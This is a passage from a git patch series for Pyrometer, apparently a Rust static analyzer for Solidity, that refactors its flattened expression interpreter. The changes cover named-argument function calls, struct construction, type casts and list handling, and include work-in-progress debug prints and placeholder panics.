FlatExpr::PreDecrement(_) => (true, false), + FlatExpr::PostDecrement(_) => (false, false), + _ => unreachable!(), + }; + + let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let [var] = into_sized(res); + self.match_in_de_crement(arena, ctx, pre, increment, loc, &var) + } + + fn interp_op( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + loc: Loc, + assign: bool, + ) -> Result<(), ExprErr> { + let op = RangeOp::try_from(next).unwrap(); + let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let [lhs, rhs] = into_sized(res); + self.op_match(arena, ctx, loc, &lhs, &rhs, op, assign) + } + fn interp_if( &mut self, arena: &mut RangeArena>, @@ -591,6 +749,10 @@ pub trait Flatten: unreachable!() }; + if matches!(self.peek_expr_flag(), Some(ExprFlag::FunctionName(..))) { + self.take_expr_flag(); + } + if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { if let Some(idx) = self.builtins().get(&builtin) { ctx.push_expr(ExprRet::Single(*idx), self) @@ -639,16 +801,16 @@ pub trait Flatten: let maybe_fn = self .find_func(arena, ctx, name.to_string(), n) .into_expr_err(loc)?; - return if let Some(fn_node) = maybe_fn { + + if let Some(fn_node) = maybe_fn { let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); let fn_var = ContextVarNode::from(self.add_node(as_var)); ctx.add_var(fn_var, self).into_expr_err(loc)?; self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(fn_var.into()), self) - .into_expr_err(loc) - } else { - Ok(()) - }; + return ctx + .push_expr(ExprRet::Single(fn_var.into()), self) + .into_expr_err(loc); + } } Some(other) => { self.set_expr_flag(other); @@ -696,52 +858,148 @@ pub trait Flatten: self.match_ty(ctx, loc, arr_ty) } - fn interp_func_call( + fn interp_named_func_call( &mut self, arena: &mut RangeArena>, ctx: ContextNode, + stack: &[FlatExpr], func_call: FlatExpr, + parse_idx: usize, ) -> Result<(), ExprErr> { - let FlatExpr::FunctionCall(loc, n) = func_call else { + let FlatExpr::NamedFunctionCall(loc, n) = func_call else { unreachable!() }; + let names_start = parse_idx.saturating_sub(n); + let names = stack[names_start..parse_idx] + .iter() + .map(|named_arg| { + let FlatExpr::NamedArgument(_, name) = named_arg else { + unreachable!() + }; + *name + }) + .collect::>(); + + self.interp_func_call(arena, ctx, func_call, Some(names)) + } + + fn interp_func_call( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + func_call: FlatExpr, + input_names: Option>, + ) -> Result<(), ExprErr> { + let (loc, n) = match func_call { + FlatExpr::FunctionCall(loc, n) => (loc, n), + FlatExpr::NamedFunctionCall(loc, n) => (loc, n), + _ => unreachable!(), + }; + let func_and_inputs = ctx .pop_n_latest_exprs(n + 1, loc, self) .into_expr_err(loc)?; - let inputs = ExprRet::Multi(if n > 0 { - func_and_inputs[1..].to_vec() - } else { - vec![] - }); + let func = func_and_inputs + .first() + .unwrap() + .expect_single() + .into_expr_err(loc)?; - match self.take_expr_flag() { + let is_new_call = match self.peek_expr_flag() { Some(ExprFlag::New) => { - let ty = func_and_inputs - .first() - .unwrap() - .expect_single() - .into_expr_err(loc)?; - return self.new_call_inner(arena, loc, ty, inputs, ctx); + let _ = self.take_expr_flag(); + true } - Some(other) => self.set_expr_flag(other), - _ => {} - } + _ => false, + }; - let func = ContextVarNode::from( - func_and_inputs - .first() - .unwrap() - .expect_single() - .into_expr_err(loc)?, - ); + func_and_inputs[1..].iter().for_each(|i| { + println!("here: {}", i.debug_str(self)); + }); + + // order the named inputs + let inputs = if n > 0 { + let res = if let Some(input_names) = input_names { + let mut ret = Ok(None); + let ordered_names = match self.node(func) { + Node::Function(..) => FunctionNode::from(func).ordered_param_names(self), + Node::Struct(..) => StructNode::from(func).ordered_new_param_names(self), + Node::Contract(..) => ContractNode::from(func).ordered_new_param_names(self), + _ => todo!(), + }; - let ty = func.ty(self).into_expr_err(loc)?; - if let Some(func_node) = ty.func_node(self) { - self.func_call(arena, ctx, loc, &inputs, func_node, None, None) + if ordered_names != input_names { + let mapping = ordered_names + .iter() + .enumerate() + .filter_map(|(i, n)| Some((input_names.iter().position(|k| k == n)?, i))) + .collect::>(); + if mapping.len() != ordered_names.len() { + ret = Err(ExprErr::ParseError( + loc, + "Named arguments are incorrect".to_string(), + )); + } else { + let mut tmp_inputs = vec![]; + tmp_inputs.resize(n, ExprRet::Null); + func_and_inputs[1..] + .iter() + .enumerate() + .for_each(|(i, ret)| { + let target_idx = mapping[&i]; + tmp_inputs[target_idx] = ret.clone(); + }); + ret = Ok(Some(tmp_inputs)); + } + } + ret + } else { + Ok(None) + }; + res?.unwrap_or(func_and_inputs[1..].to_vec()) } else { - Ok(()) + vec![] + }; + + let inputs = ExprRet::Multi(inputs); + + if is_new_call { + return self.new_call_inner(arena, ctx, func, inputs, loc); + } + + let ty = match self.node(func) { + Node::ContextVar(..) => { + let ty = ContextVarNode::from(func).ty(self).unwrap(); + ty.clone() + } + _ => VarType::try_from_idx(self, func).unwrap(), + }; + + match ty { + VarType::User(TypeNode::Struct(s), _) => { + self.construct_struct_inner(arena, ctx, s, inputs, loc) + } + VarType::User(TypeNode::Contract(s), _) => { + unreachable!("should be unreachable: contract") + } + VarType::User(TypeNode::Func(s), _) => { + if self.builtin_fn_nodes().iter().any(|(_, v)| *v == func) { + // its a builtin function call + todo!("builtin fn") + } else { + self.func_call(arena, ctx, loc, &inputs, func.into(), None, None) + } + } + VarType::BuiltIn(bn, _) => { + // cast to type + let Node::Builtin(builtin) = self.node(bn).clone() else { + unreachable!() + }; + self.cast_inner(arena, ctx, ty, &builtin, inputs, loc) + } + _ => todo!(), } } diff --git a/crates/solc-expressions/src/func_call/apply.rs b/crates/solc-expressions/src/func_call/apply.rs index e6858255..661ab5c9 100644 --- a/crates/solc-expressions/src/func_call/apply.rs +++ b/crates/solc-expressions/src/func_call/apply.rs @@ -156,7 +156,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body); + self.traverse_statement(&body, None); self.interpret(func, body.loc(), arena) } @@ -205,7 +205,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body); + self.traverse_statement(&body, None); self.interpret(func, body.loc(), arena) } @@ -253,7 +253,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body); + self.traverse_statement(&body, None); self.interpret(func, body.loc(), arena) } diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 09d0a0ac..c8d8bac0 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -6,7 +6,7 @@ use crate::{ internal_call::InternalFuncCaller, intrinsic_call::IntrinsicFuncCaller, namespaced_call::NameSpaceFuncCaller, - ContextBuilder, ExpressionParser, StatementParser, + ContextBuilder, ExpressionParser, Flatten, StatementParser, }; use std::cell::RefCell; use std::rc::Rc; @@ -21,7 +21,7 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; -use solang_parser::pt::{Expression, Loc, NamedArgument}; +use solang_parser::pt::{CodeLocation, Expression, Loc, NamedArgument}; use std::collections::BTreeMap; @@ -544,7 +544,8 @@ pub trait FuncCaller: }); // parse the function body - self.parse_ctx_statement(arena, &body, false, Some(callee_ctx)); + self.traverse_statement(&body, None); + self.interpret(callee_ctx, body.loc(), arena); if let Some(mod_state) = &callee_ctx .underlying(self) .into_expr_err(loc)? diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 1d5388a7..ca2d59b7 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -169,64 +169,72 @@ pub trait ConstructorCaller: }) } - /// Construct a struct - fn construct_struct( + fn construct_struct_inner( &mut self, arena: &mut RangeArena>, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + strukt: StructNode, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { - // struct construction - let strukt = StructNode::from(func_idx); let var = ContextVar::new_from_struct(loc, strukt, ctx, self).into_expr_err(loc)?; let cvar = self.add_node(Node::ContextVar(var)); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + let inputs = inputs.as_vec(); + // set struct fields + strukt + .fields(self) + .iter() + .zip(inputs) + .try_for_each(|(field, input)| { + let field_cvar = ContextVar::maybe_new_from_field( + self, + loc, + ContextVarNode::from(cvar) + .underlying(self) + .into_expr_err(loc)?, + field.underlying(self).unwrap().clone(), + ) + .expect("Invalid struct field"); + + let fc_node = self.add_node(Node::ContextVar(field_cvar)); + self.add_edge( + fc_node, + cvar, + Edge::Context(ContextEdge::AttrAccess("field")), + ); + self.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.add_var(fc_node.into(), self).into_expr_err(loc)?; + let field_as_ret = ExprRet::Single(fc_node); + self.match_assign_sides(arena, ctx, loc, &field_as_ret, &input)?; + let _ = ctx.pop_expr_latest(loc, self).into_expr_err(loc)?; + Ok(()) + })?; + + ctx.push_expr(ExprRet::Single(cvar), self) + .into_expr_err(loc) + } + /// Construct a struct + fn construct_struct( + &mut self, + arena: &mut RangeArena>, + func_idx: NodeIdx, + input_exprs: &NamedOrUnnamedArgs, + loc: Loc, + ctx: ContextNode, + ) -> Result<(), ExprErr> { input_exprs.parse(arena, self, ctx, loc)?; self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { return Err(ExprErr::NoRhs( loc, - "Struct Function call failed".to_string(), + "Struct construction call failed".to_string(), )); }; - let inputs = inputs.as_vec(); - // set struct fields - strukt - .fields(analyzer) - .iter() - .zip(inputs) - .try_for_each(|(field, input)| { - let field_cvar = ContextVar::maybe_new_from_field( - analyzer, - loc, - ContextVarNode::from(cvar) - .underlying(analyzer) - .into_expr_err(loc)?, - field.underlying(analyzer).unwrap().clone(), - ) - .expect("Invalid struct field"); - - let fc_node = analyzer.add_node(Node::ContextVar(field_cvar)); - analyzer.add_edge( - fc_node, - cvar, - Edge::Context(ContextEdge::AttrAccess("field")), - ); - analyzer.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(fc_node.into(), analyzer).into_expr_err(loc)?; - let field_as_ret = ExprRet::Single(fc_node); - analyzer.match_assign_sides(arena, ctx, loc, &field_as_ret, &input)?; - let _ = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; - Ok(()) - })?; - - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc) + analyzer.construct_struct_inner(arena, ctx, StructNode::from(func_idx), inputs, loc) }) } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 1fc27aec..c76227cc 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -60,10 +60,10 @@ pub trait IntrinsicFuncCaller: fn new_call_inner( &mut self, arena: &mut RangeArena>, - loc: Loc, + ctx: ContextNode, ty_idx: NodeIdx, inputs: ExprRet, - ctx: ContextNode, + loc: Loc, ) -> Result<(), ExprErr> { match self.node(ty_idx) { Node::Builtin(_) => { @@ -107,20 +107,12 @@ pub trait IntrinsicFuncCaller: } else { self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(input_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "No inputs for constructor and expected some".to_string(), - )); - }; // call the constructor analyzer.func_call( arena, ctx, loc, - &input_paths, + &inputs, constructor, None, None, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs index 823d8809..c4dc5d21 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs @@ -156,61 +156,6 @@ pub trait TypesCaller: AnalyzerBackend + S loc: Loc, ctx: ContextNode, ) -> Result<(), ExprErr> { - // it is a cast - fn cast_match( - ctx: ContextNode, - loc: Loc, - analyzer: &mut impl ListAccess, - arena: &mut RangeArena>, - ty: &Builtin, - ret: ExprRet, - func_idx: NodeIdx, - ) -> Result<(), ExprErr> { - match ret { - ExprRet::CtxKilled(kind) => ctx.kill(analyzer, loc, kind).into_expr_err(loc), - ExprRet::Null => Ok(()), - ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { - let cvar = ContextVarNode::from(cvar); - let new_var = cvar - .as_cast_tmp(loc, ctx, ty.clone(), analyzer) - .into_expr_err(loc)?; - - let v_ty = VarType::try_from_idx(analyzer, func_idx).expect(""); - let maybe_new_range = - cvar.cast_exprs(&v_ty, analyzer, arena).into_expr_err(loc)?; - new_var.underlying_mut(analyzer).into_expr_err(loc)?.ty = v_ty; - - if let Some((new_min, new_max)) = maybe_new_range { - new_var - .set_range_min(analyzer, arena, new_min) - .into_expr_err(loc)?; - new_var - .set_range_max(analyzer, arena, new_max) - .into_expr_err(loc)?; - } - - if cvar.needs_length(analyzer).into_expr_err(loc)? { - // input is indexable. get the length attribute, create a new length for the casted type - let _ = analyzer.create_length( - arena, - ctx, - loc, - new_var, - new_var.latest_version(analyzer), - false, - )?; - } - - ctx.push_expr(ExprRet::Single(new_var.into()), analyzer) - .into_expr_err(loc)?; - Ok(()) - } - ExprRet::Multi(inner) => inner - .into_iter() - .try_for_each(|i| cast_match(ctx, loc, analyzer, arena, ty, i, func_idx)), - } - } - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { @@ -222,7 +167,60 @@ pub trait TypesCaller: AnalyzerBackend + S return Ok(()); } - cast_match(ctx, loc, analyzer, arena, &ty, ret, func_idx) + let var_ty = VarType::try_from_idx(analyzer, func_idx).unwrap(); + analyzer.cast_inner(arena, ctx, var_ty, &ty, ret, loc) }) } + + fn cast_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + var_ty: VarType, + ty: &Builtin, + ret: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + match ret { + ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), + ExprRet::Null => Ok(()), + ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { + let cvar = ContextVarNode::from(cvar); + let new_var = cvar + .as_cast_tmp(loc, ctx, ty.clone(), self) + .into_expr_err(loc)?; + + let maybe_new_range = cvar.cast_exprs(&var_ty, self, arena).into_expr_err(loc)?; + new_var.underlying_mut(self).into_expr_err(loc)?.ty = var_ty; + + if let Some((new_min, new_max)) = maybe_new_range { + new_var + .set_range_min(self, arena, new_min) + .into_expr_err(loc)?; + new_var + .set_range_max(self, arena, new_max) + .into_expr_err(loc)?; + } + + if cvar.needs_length(self).into_expr_err(loc)? { + // input is indexable. get the length attribute, create a new length for the casted type + let _ = self.create_length( + arena, + ctx, + loc, + new_var, + new_var.latest_version(self), + false, + )?; + } + + ctx.push_expr(ExprRet::Single(new_var.into()), self) + .into_expr_err(loc)?; + Ok(()) + } + ExprRet::Multi(inner) => inner + .into_iter() + .try_for_each(|i| self.cast_inner(arena, ctx, var_ty.clone(), ty, i, loc)), + } + } } diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index a153c809..b0eed50b 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -538,7 +538,7 @@ mod tests { fraction: &str, exponent: &str, negative: bool, - unit: Option, + unit: Option<&str>, expected: Concrete, ) -> Result<()> { // setup @@ -553,7 +553,7 @@ mod tests { // create a rational number literal analyzer.rational_number_literal( - arena, ctx, loc, integer, fraction, exponent, &unit, negative, + arena, ctx, loc, integer, fraction, exponent, unit, negative, )?; // checks @@ -622,10 +622,7 @@ mod tests { let integer = "1"; let fraction = "5"; let exponent = "0"; - let unit = Some(Identifier { - name: "ether".into(), - loc: Loc::File(0, 0, 0), - }); + let unit = Some("ether"); let expected = Concrete::Uint(64, U256::from_dec_str("1500000000000000000").unwrap()); test_rational_number_literal(integer, fraction, exponent, false, unit, expected) } @@ -783,8 +780,15 @@ mod tests { let arena = &mut arena_base; let ctx = make_context_node_for_analyzer(&mut analyzer); + let mut final_str = "".to_string(); + let mut loc = hex_literals[0].loc; + hex_literals.iter().for_each(|s| { + loc.use_end_from(&s.loc); + final_str.push_str(&s.hex); + }); + // create hex literals - analyzer.hex_literals(ctx, hex_literals)?; + analyzer.hex_literals(ctx, loc, &final_str)?; // checks let stack = &ctx.underlying(&analyzer)?.expr_ret_stack; diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index efaefb0b..6658252a 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -1,4 +1,4 @@ -use crate::{variable::Variable, ContextBuilder, StatementParser}; +use crate::{variable::Variable, ContextBuilder, Flatten, StatementParser}; use graph::ContextEdge; use graph::Edge; @@ -9,7 +9,7 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::pt::{Expression, Loc, Statement}; +use solang_parser::pt::{CodeLocation, Expression, Loc, Statement}; impl Looper for T where T: AnalyzerBackend + Sized + GraphBackend @@ -33,17 +33,18 @@ pub trait Looper: maybe_body: &Option>, ) -> Result<(), ExprErr> { // TODO: improve this - if let Some(initer) = maybe_init { - self.parse_ctx_statement(arena, initer, false, Some(ctx)); - } + panic!("for loop"); + // if let Some(initer) = maybe_init { + // self.parse_ctx_statement(arena, initer, false, Some(ctx)); + // } - if let Some(body) = maybe_body { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - analyzer.reset_vars(arena, loc, ctx, body) - }) - } else { - Ok(()) - } + // if let Some(body) = maybe_body { + // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // analyzer.reset_vars(arena, loc, ctx, body) + // }) + // } else { + // Ok(()) + // } } /// Resets all variables referenced in the loop because we don't elegantly handle loops @@ -59,7 +60,9 @@ pub trait Looper: let subctx = ContextNode::from(self.add_node(Node::Context(sctx))); ctx.set_child_call(subctx, self).into_expr_err(loc)?; self.add_edge(subctx, ctx, Edge::Context(ContextEdge::Loop)); - self.parse_ctx_statement(arena, body, false, Some(subctx)); + + self.traverse_statement(&body, None); + self.interpret(subctx, body.loc(), arena); self.apply_to_edges(subctx, loc, arena, &|analyzer, arena, ctx, loc| { let vars = subctx.local_vars(analyzer).clone(); vars.iter().for_each(|(name, var)| { diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 82320d1b..d3afd257 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -130,7 +130,7 @@ pub trait YulFuncCaller: "mul" => RangeOp::Mul(true), "div" | "sdiv" => RangeOp::Div(true), "mod" | "smod" => RangeOp::Mod, - "exp" => RangeOp::Exp, + "exp" => RangeOp::Exp(true), "and" => RangeOp::BitAnd, "or" => RangeOp::BitOr, "xor" => RangeOp::BitXor, From 6dc905b5ccccf967e275f2be4f6b4fa0fdc18646 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Tue, 16 Jul 2024 12:31:09 -0700 Subject: [PATCH 07/52] fixing func calls --- .../tests/test_data/function_calls.sol | 25 +++--- crates/shared/src/flattened.rs | 78 +++++++++++++++++++ .../src/context_builder/flattened.rs | 58 +++++++++++--- crates/solc-expressions/src/list.rs | 75 +++++++++++++++++- 4 files changed, 213 insertions(+), 23 deletions(-) diff --git a/crates/pyrometer/tests/test_data/function_calls.sol b/crates/pyrometer/tests/test_data/function_calls.sol index e687f402..2f35c70b 100644 --- a/crates/pyrometer/tests/test_data/function_calls.sol +++ b/crates/pyrometer/tests/test_data/function_calls.sol @@ -45,18 +45,18 @@ contract ExternalFuncCalls { function partialReturn() public { (uint256 w, , uint256 y, ) = multiReturn(); - require(w == 1); - require(y == 3); - (uint256 w1, uint256 x1, uint256 y1, ) = multiReturn(); - require(w1 == 1); - require(y1 == 3); - (, uint256 x2, , uint256 z) = multiReturn(); - require(x2 == 2); - require(z == 4); - (, uint256 x3, uint256 y2, uint256 z2) = multiReturn(); - require(x3 == 2); - require(y2 == 3); - require(z2 == 4); + // require(w == 1); + // require(y == 3); + // (uint256 w1, uint256 x1, uint256 y1, ) = multiReturn(); + // require(w1 == 1); + // require(y1 == 3); + // (, uint256 x2, , uint256 z) = multiReturn(); + // require(x2 == 2); + // require(z == 4); + // (, uint256 x3, uint256 y2, uint256 z2) = multiReturn(); + // require(x3 == 2); + // require(y2 == 3); + // require(z2 == 4); } } @@ -73,7 +73,6 @@ contract ExternalFuncCalls { // } // } - // contract Disambiguation { // function foo(address from, address to, uint256 id) public { // foo(from, to, id, 0); diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 448c0bce..28501e40 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -105,6 +105,84 @@ pub enum FlatExpr { ArrayLiteral(Loc), } +impl FlatExpr { + pub fn try_loc(&self) -> Option { + use FlatExpr::*; + match self { + If { loc, .. } + | VarDef(loc, ..) + | NamedArgument(loc, ..) + | Continue(loc, ..) + | Break(loc, ..) + | Return(loc, ..) + | PostIncrement(loc, ..) + | PostDecrement(loc, ..) + | New(loc, ..) + | ArrayTy(loc, ..) + | ArrayIndexAccess(loc, ..) + | ArraySlice(loc, ..) + | Parenthesis(loc, ..) + | MemberAccess(loc, ..) + | FunctionCall(loc, ..) + | FunctionCallBlock(loc, ..) + | NamedFunctionCall(loc, ..) + | Not(loc, ..) + | Negate(loc, ..) + | Delete(loc, ..) + | PreIncrement(loc, ..) + | PreDecrement(loc, ..) + | UnaryPlus(loc, ..) + | Power(loc, ..) + | Multiply(loc, ..) + | Divide(loc, ..) + | Modulo(loc, ..) + | Add(loc, ..) + | Subtract(loc, ..) + | AssignAdd(loc, ..) + | AssignSubtract(loc, ..) + | AssignMultiply(loc, ..) + | AssignDivide(loc, ..) + | AssignModulo(loc, ..) + | ShiftLeft(loc, ..) + | ShiftRight(loc, ..) + | BitwiseAnd(loc, ..) + | BitwiseXor(loc, ..) + | BitwiseOr(loc, ..) + | BitwiseNot(loc, ..) + | AssignOr(loc, ..) + | AssignAnd(loc, ..) + | AssignXor(loc, ..) + | AssignShiftLeft(loc, ..) + | AssignShiftRight(loc, ..) + | Less(loc, ..) + | More(loc, ..) + | LessEqual(loc, ..) + | MoreEqual(loc, ..) + | Equal(loc, ..) + | NotEqual(loc, ..) + | And(loc, ..) + | Or(loc, ..) + | ConditionalOperator(loc, ..) + | Assign(loc, ..) + | Type(loc, ..) + | This(loc, ..) + | List(loc, ..) + | Parameter(loc, ..) + | Null(loc, ..) + | BoolLiteral(loc, ..) + | NumberLiteral(loc, ..) + | RationalNumberLiteral(loc, ..) + | HexNumberLiteral(loc, ..) + | StringLiteral(loc, ..) + | HexLiteral(loc, ..) + | AddressLiteral(loc, ..) + | Variable(loc, ..) + | ArrayLiteral(loc, ..) => Some(*loc), + FunctionCallName(_) => None, + } + } +} + pub fn string_to_static(s: impl ToString) -> &'static str { Box::leak(s.to_string().into_boxed_str()) } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 0691e217..6bb9a156 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -296,6 +296,12 @@ pub trait Flatten: params.iter().for_each(|(loc, maybe_param)| { if let Some(param) = maybe_param { self.traverse_expression(¶m.ty, unchecked); + } else { + self.push_expr(FlatExpr::Null(*loc)); + } + }); + params.iter().for_each(|(loc, maybe_param)| { + if let Some(param) = maybe_param { if let Some(name) = ¶m.name { self.push_expr(FlatExpr::Parameter( param.loc, @@ -310,7 +316,7 @@ pub trait Flatten: )); } } else { - self.push_expr(FlatExpr::Null(*loc)); + self.push_expr(FlatExpr::Parameter(*loc, None, None)); } }); self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); @@ -399,9 +405,6 @@ pub trait Flatten: while (!ctx.is_ended(self).unwrap() || !ctx.live_edges(self).unwrap().is_empty()) && ctx.parse_idx(self) < stack.len() { - // println!("is ended: {}", ctx.is_ended(self).unwrap()); - // println!("live edges: {:?}", ctx.live_edges(self).unwrap()); - // println!("remaining parse: {}", ctx.parse_idx(self) < stack.len()); let res = self.interpret_step(arena, ctx, body_loc, &stack[..]); self.add_if_err(res); } @@ -440,8 +443,14 @@ pub trait Flatten: } let parse_idx = ctx.increment_parse_idx(self); + let kill_after_exec = parse_idx == stack.len().saturating_sub(1); let Some(next) = stack.get(parse_idx) else { - return Ok(()); + let loc = stack + .last() + .map(|l| l.try_loc()) + .flatten() + .unwrap_or(Loc::Implicit); + return ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc); }; let next = *next; @@ -547,12 +556,43 @@ pub trait Flatten: ConditionalOperator(_) => todo!(), This(_) => todo!(), - List(_, _) => todo!(), - Parameter(_, _, _) => todo!(), - Null(_) => Ok(()), + List(_, _) => self.interp_list(arena, ctx, stack, next, parse_idx), + Parameter(_, _, _) => Ok(()), + Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), } } + fn interp_list( + &mut self, + _arena: &mut RangeArena>, + ctx: ContextNode, + stack: &[FlatExpr], + list: FlatExpr, + parse_idx: usize, + ) -> Result<(), ExprErr> { + let FlatExpr::List(loc, n) = list else { + unreachable!() + }; + + let param_names_start = parse_idx.saturating_sub(n); + let params = &stack[param_names_start..parse_idx]; + let mut values = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + values.reverse(); + values + .into_iter() + .zip(params) + .try_for_each(|(ret, param)| { + let res = self.list_inner(ctx, *param, ret, loc)?; + ctx.push_expr(res, self).into_expr_err(loc) + })?; + + let new_values = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + ctx.push_expr(ExprRet::Multi(new_values), self) + .into_expr_err(loc)?; + ctx.debug_expr_stack(self).unwrap(); + Ok(()) + } + fn interp_xxcrement( &mut self, arena: &mut RangeArena>, @@ -989,7 +1029,7 @@ pub trait Flatten: // its a builtin function call todo!("builtin fn") } else { - self.func_call(arena, ctx, loc, &inputs, func.into(), None, None) + self.func_call(arena, ctx, loc, &inputs, s, None, None) } } VarType::BuiltIn(bn, _) => { diff --git a/crates/solc-expressions/src/list.rs b/crates/solc-expressions/src/list.rs index eb9d01aa..464db284 100644 --- a/crates/solc-expressions/src/list.rs +++ b/crates/solc-expressions/src/list.rs @@ -5,7 +5,7 @@ use graph::{ nodes::{Concrete, ContextNode, ContextVar, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, VarType, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, FlatExpr, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc, Parameter, ParameterList}; @@ -123,4 +123,77 @@ pub trait List: AnalyzerBackend + Sized { ExprRet::CtxKilled(kind) => Ok(ExprRet::CtxKilled(*kind)), } } + + fn list_inner( + &mut self, + ctx: ContextNode, + param: FlatExpr, + ret: ExprRet, + loc: Loc, + ) -> Result { + match ret { + ExprRet::Null => Ok(ExprRet::Null), + ExprRet::Single(ty) | ExprRet::SingleLiteral(ty) => { + println!("param: {:#?}", param); + let FlatExpr::Parameter(_, maybe_storage, maybe_name) = param else { + unreachable!() + }; + + if let Some(input_name) = &maybe_name { + let ty = VarType::try_from_idx(self, ty).expect("Not a known type"); + let var = ContextVar { + loc: Some(loc), + name: input_name.to_string(), + display_name: input_name.to_string(), + storage: maybe_storage, + is_tmp: false, + is_symbolic: false, + tmp_of: None, + dep_on: None, + is_return: false, + ty, + }; + let input_node = self.add_node(Node::ContextVar(var)); + ctx.add_var(input_node.into(), self).into_expr_err(loc)?; + self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); + Ok(ExprRet::Single(input_node)) + } else { + match self.node(ty) { + Node::ContextVar(_var) => { + // reference the variable directly, don't create a temporary variable + Ok(ExprRet::Single(ty)) + } + _ => { + // create a tmp + let ty = VarType::try_from_idx(self, ty).expect("Not a known type"); + let tmp_num = ctx.new_tmp(self).into_expr_err(loc)?; + let new_lhs_underlying = ContextVar { + loc: Some(loc), + name: format!("tmp{tmp_num}"), + display_name: format!("tmp{tmp_num}"), + storage: maybe_storage, + is_tmp: true, + is_symbolic: false, + tmp_of: None, + dep_on: None, + is_return: false, + ty, + }; + let input_node = self.add_node(Node::ContextVar(new_lhs_underlying)); + ctx.add_var(input_node.into(), self).into_expr_err(loc)?; + self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); + Ok(ExprRet::Single(input_node)) + } + } + } + } + ExprRet::Multi(inner) => 